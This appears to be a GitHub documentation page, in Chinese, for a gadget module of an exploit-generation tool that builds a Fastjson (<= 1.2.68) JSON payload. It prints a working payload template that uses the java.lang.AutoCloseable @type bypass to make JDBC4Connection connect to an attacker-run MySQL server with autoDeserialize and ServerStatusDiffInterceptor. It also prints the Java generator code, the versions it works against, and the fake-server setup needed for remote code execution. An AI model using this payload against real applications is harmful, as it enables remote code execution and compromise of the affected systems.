Skip to content

Latest commit

 

History

History
78 lines (68 loc) · 5.4 KB

File metadata and controls

78 lines (68 loc) · 5.4 KB

Mysql-connector 1.2.68(FastjsonMySQLJdbc)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖mysql(mysql-connector-java 驱动)、fastjson <= 1.2.68

作用

生成一段 Fastjson JSON payload,诱导目标应用用 com.mysql.jdbc.JDBC4Connection(或高版本的 LoadBalancedMySQLConnection / ReplicationMySQLConnection)主动连接攻击者控制的恶意 MySQL 服务器。连接携带 autoDeserialize=true + statementInterceptors=...ServerStatusDiffInterceptor,触发经典的 mysql-connector-java「恶意服务端 → 客户端 Java 反序列化」漏洞(CVE-2017-3523/ServerStatusDiffInterceptor 系)。是 Fastjson 出网 JDBC 打法的 sink。

链接标签

  • 入口 tagsFastjsonPayloadEND
    • FastjsonPayload:本 gadget 承接 Fastjson Payload 入口——它产出的是要被 @type 反序列化解析的 JSON 字符串,交由 Fastjson 系列 Payload 类落地。
    • END:链尾终点,nextTags 为空,不再向下游衔接(真正的第二阶段字节码由攻击者的假 MySQL 服务端提供,不嵌在本 JSON 内)。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

类通过三套模板字符串适配三个 mysql-connector 大版本,getObjectmysqlVersion 选择模板并填入攻击者的 domain/port/user

public Object getObject(byte[] bytes) throws Exception {
    String templateToUse = "";
    templateToUse = "5.1.x".equals(this.mysqlVersion) ? template5
                  : ("6.0.2/6.0.3".equals(this.mysqlVersion) ? template6 : template8);
    return String.format(templateToUse, this.domain, this.port, this.user);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[]) chain.doCreate(context));
}

注意 invoke 虽调用 chain.doCreate(context) 取内层产物并强转 byte[],但 getObject 的形参 bytes 完全未被使用——因为本 gadget 是 END,JSON 自成一体,反序列化时真正的恶意字节码由假 MySQL 服务端在握手/查询阶段回传,不需要内嵌。

5.1.x 模板(template5)是核心,命中经典的 JDBC4Connection@type 绕过:

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "%s",
    "portToConnectTo": %s,
    "info": {
      "user": "%s",
      "password": "pass",
      "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
      "autoDeserialize": "true",
      "NUM_HOSTS": "1"
    },
    "databaseToConnectTo": "test",
    "url": ""
  }
}
  • 第一个 @type: java.lang.AutoCloseable 是 Fastjson <= 1.2.68expectClass 绕过技巧:先声明一个白名单可接受的父类型,再用第二个 @type 指定真正要实例化的 JDBC4Connection,使其绕过 checkAutoType
  • Fastjson 在实例化 JDBC4Connection 时会按属性 setter 建立数据库连接(hostToConnectTo/portToConnectTo 指向攻击者主机);statementInterceptors=ServerStatusDiffInterceptor + autoDeserialize=true 使客户端在读取服务端返回的「server status」时对其中的 Java 序列化数据执行 readObject,从而在客户端触发二次反序列化 RCE。
  • databaseToConnectTo 固定为 test

template6(6.0.2/6.0.3,LoadBalancedMySQLConnection)与 template8(8.0.x <=8.0.19ReplicationMySQLConnection)改用 com.mysql.cj.* 新包名,把连接参数塞进 jdbc:mysql://... URL 或 ReplicationConnectionUrlproperties 里,原理相同(均依赖 queryInterceptors/statementInterceptors + autoDeserialize)。

参数(@Param)

字段 名称 说明 默认 可选值
domain mysql ip 攻击者恶意 MySQL 服务端地址 127.0.0.1
port mysql 端口 恶意 MySQL 端口 3308
user mysql 用户名 连接用户名 user
mysqlVersion mysql 版本 选择目标 mysql-connector 驱动版本以套用对应模板 5.1.x 5.1.x(5.1.1~5.1.48)/ 6.0.2/6.0.3 / 8.0.x(jdbc <= 8.0.19

适用版本与原理要点

  • Fastjson <= 1.2.68:依赖 java.lang.AutoCloseable@type 绕过 autoTypeSupport 关闭下的 checkAutoType
  • 目标须存在 mysql-connector-java 驱动,且版本与所选 mysqlVersion 匹配:5.1.x 对应 5.1.1~5.1.48;8.0.x 仅 <= 8.0.19(8.0.20 起 ServerStatusDiffInterceptor 反序列化被修复)。
  • 出网利用:目标必须能访问攻击者 MySQL 服务器。攻击者需运行伪造 MySQL 服务端(如 fastjson/mysql fake-server),在客户端触发 autoDeserialize 时回传恶意序列化 payload,故实际 RCE 依赖目标 classpath 上另有可用的 Java 反序列化 gadget。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可与任意 Fastjson Payload 入口自由组合。

关联

  • 同族(Fastjson JDBC / 出网 sink):FastjsonMySQLPipe(不出网 · 命名管道变体)、FastjsonPostgreSQLJdbcFastjsonH2Jdbc
  • 上游入口:Fastjson / Fastjson2 系 Payload 类(FastjsonPayload 标签消费方)。
  • 配套:假 MySQL 服务端 + 一条独立生成的 Java 反序列化字节码链(由服务端回传)。